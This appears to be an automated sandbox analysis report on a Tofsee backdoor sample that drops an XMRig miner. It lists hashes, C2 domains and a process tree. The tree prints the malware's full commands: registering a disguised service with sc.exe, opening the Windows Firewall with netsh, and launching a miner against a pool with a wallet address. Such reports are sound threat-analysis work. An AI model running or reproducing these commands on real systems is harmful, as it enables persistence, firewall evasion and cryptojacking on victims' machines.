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Analysis

  • max time kernel
    156s
  • max time network
    168s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 20:45

General

  • Target

    7e9ccdf57f7fe03c9e2efd738b6490aabed53615f70a101a8c1cd008716fa6d2.exe

  • Size

    338KB

  • MD5

    5c5387efb7f70cd46012c6f8f4cc0e1a

  • SHA1

    c2ad2a7be652d8b73cdeb794b498c03d8f783bc4

  • SHA256

    7e9ccdf57f7fe03c9e2efd738b6490aabed53615f70a101a8c1cd008716fa6d2

  • SHA512

    bc6a38573e87fc6bc7b945ee76f5b8102e5adfa1ff6262356212a0fb66f2b4cb071193df75f05da715627d1d4c5cb2cd733f786371bf271e5ee94f88557de65d

  • SSDEEP

    3072:M9xApN8qo8I+HI0C+iUn9wYaA8MqfvJLAiT12Rerybp80C:wTqoQHIbYatRJLAiT3ry3

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7e9ccdf57f7fe03c9e2efd738b6490aabed53615f70a101a8c1cd008716fa6d2.exe
    "C:\Users\Admin\AppData\Local\Temp\7e9ccdf57f7fe03c9e2efd738b6490aabed53615f70a101a8c1cd008716fa6d2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tfusowci\
      2⤵
        PID:2012
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe" C:\Windows\SysWOW64\tfusowci\
        2⤵
          PID:2696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tfusowci binPath= "C:\Windows\SysWOW64\tfusowci\vcbowwei.exe /d\"C:\Users\Admin\AppData\Local\Temp\7e9ccdf57f7fe03c9e2efd738b6490aabed53615f70a101a8c1cd008716fa6d2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tfusowci "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tfusowci
          2⤵
          • Launches sc.exe
          PID:1744
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2912
      • C:\Windows\SysWOW64\tfusowci\vcbowwei.exe
        C:\Windows\SysWOW64\tfusowci\vcbowwei.exe /d"C:\Users\Admin\AppData\Local\Temp\7e9ccdf57f7fe03c9e2efd738b6490aabed53615f70a101a8c1cd008716fa6d2.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2760
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2660
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1676

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe

        Filesize

        12.1MB

        MD5

        29faefb5f6fd97918cd42b817ffeb5dd

        SHA1

        dd5ee391d1a810a364ca3ede80d3d0c13c5b9149

        SHA256

        aca65091b9999b7bf9a262f66f04c7e4be29202ace413876a5cb4a0bb306c5f3

        SHA512

        09c0a4bf97073f944094e754c73eaf6733cca9ce3bf832e9ed835ec6fb37d9286ae18233587cb7f8a4c1c1b1838fc4857bdb903cb587bf9e62b618b9acfe3669

      • C:\Windows\SysWOW64\tfusowci\vcbowwei.exe

        Filesize

        12.1MB

        MD5

        29faefb5f6fd97918cd42b817ffeb5dd

        SHA1

        dd5ee391d1a810a364ca3ede80d3d0c13c5b9149

        SHA256

        aca65091b9999b7bf9a262f66f04c7e4be29202ace413876a5cb4a0bb306c5f3

        SHA512

        09c0a4bf97073f944094e754c73eaf6733cca9ce3bf832e9ed835ec6fb37d9286ae18233587cb7f8a4c1c1b1838fc4857bdb903cb587bf9e62b618b9acfe3669

      • memory/1676-78-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-74-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-64-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1676-63-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-73-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-72-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-75-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-76-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1676-77-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/2324-7-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2324-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2324-1-0x0000000000A50000-0x0000000000B50000-memory.dmp

        Filesize

        1024KB

      • memory/2324-6-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB

      • memory/2324-4-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB

      • memory/2660-42-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-50-0x0000000000380000-0x0000000000385000-memory.dmp

        Filesize

        20KB

      • memory/2660-35-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-36-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-37-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-38-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-39-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-40-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-41-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-33-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-43-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-44-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-45-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-46-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-47-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-48-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-49-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-34-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-53-0x0000000000380000-0x0000000000385000-memory.dmp

        Filesize

        20KB

      • memory/2660-54-0x00000000054F0000-0x00000000058FB000-memory.dmp

        Filesize

        4.0MB

      • memory/2660-58-0x0000000000530000-0x0000000000537000-memory.dmp

        Filesize

        28KB

      • memory/2660-57-0x00000000054F0000-0x00000000058FB000-memory.dmp

        Filesize

        4.0MB

      • memory/2660-62-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2660-26-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/2660-27-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

      • memory/2660-30-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2660-23-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/2660-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2660-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2660-11-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2660-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2660-15-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2760-10-0x0000000000250000-0x0000000000350000-memory.dmp

        Filesize

        1024KB

      • memory/2760-12-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB

      • memory/2760-16-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB